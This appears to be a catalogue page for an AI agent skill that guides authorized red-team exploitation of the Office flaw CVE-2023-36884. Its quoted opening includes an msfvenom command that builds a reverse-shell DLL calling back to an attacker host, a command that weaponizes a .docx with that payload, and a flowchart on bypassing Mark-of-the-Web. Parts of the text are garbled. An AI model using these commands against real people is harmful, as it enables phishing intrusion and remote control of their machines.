cve-2023-36884-office-rce

cve-2023-36884-office-rce is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 74 tokens per session (1,025 once invoked), scanned A, original, MIT.

A security testing guide for CVE-2023-36884, a vulnerability involving Windows and Microsoft Office documents that can enable remote code execution. Remote code execution means an attacker can run commands on another computer.

In plain words
What is it for?
Use it in an authorized red-team exercise to test document-based access and the effectiveness of Mark-of-the-Web protections.
Why use it?
It helps assess the risk posed by unpatched Office and Windows systems and malicious documents delivered through targeted phishing.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it in an authorized red-team exercise to test document-based access and the effectiveness of Mark-of-the-Web protections.

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Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/cve-2023-36884-office-rce

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cve-2023-36884-office-rce

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cve-2023-36884-office-rce/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/cve-2023-36884-office-rce)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cve-2023-36884-office-rce"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cve-2023-36884-office-rce/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cve-2023-36884-office-rce

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cve-2023-36884-office-rce"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cve-2023-36884-office-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 74 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,025 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00074 $0.01025
Opus 5 $0.00037 $0.00513
Sonnet 5 $0.00015 $0.00205
Haiku 4.5 $0.00007 $0.00103

Measured 9d ago against content hash 5278043a2b74, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

cve-2023-36884-office-rce scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/cve-2023-36884-office-rce/SKILL.md · 114 lines

How it starts

The opening of the file, as written. The whole thing — 114 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Exploiting CVE-2023-36884 (Office RCE)

When to Use

  • When conducting advanced Red Team operations where initial access relies on sophisticated spear-phishing campaigns.
  • To demonstrate the impact of unpatched Office and Windows environments, especially regarding vulnerabilities actively exploited by Advanced Persistent Threats (APTs).

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Understanding CVE-2023-36884

# Concept: CVE-2023-36884 ```

### Phase 2: Payload Generation

```bash
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll > payload.dll

Phase 3: Weaponizing the Office Document

# python3 weaponize_doc.py -t template.docx -p payload.dll -u http://10.10.10.10/payload.dll -o malicious.docx

Phase 4: Delivery and Execution

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Craft Document ] --> B{MotW Bypassed ]}
    B -->|Yes| C[Achieve Execution ]
    B -->|No| D[Modify Payload ]

🔵 Blue Team Detection & Defense

  • Patch Management: Attack Surface Reduction (ASR): MotW Enforcement: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Cve 2023 36884 Office Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

Read the full file on GitHub · 114 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 114 lines · 74 tokens per session scan A 5278043a2b74

Subscribe to this mod's changes

cve-2023-36884-office-rce is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 74 tokens to every session and 1,025 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.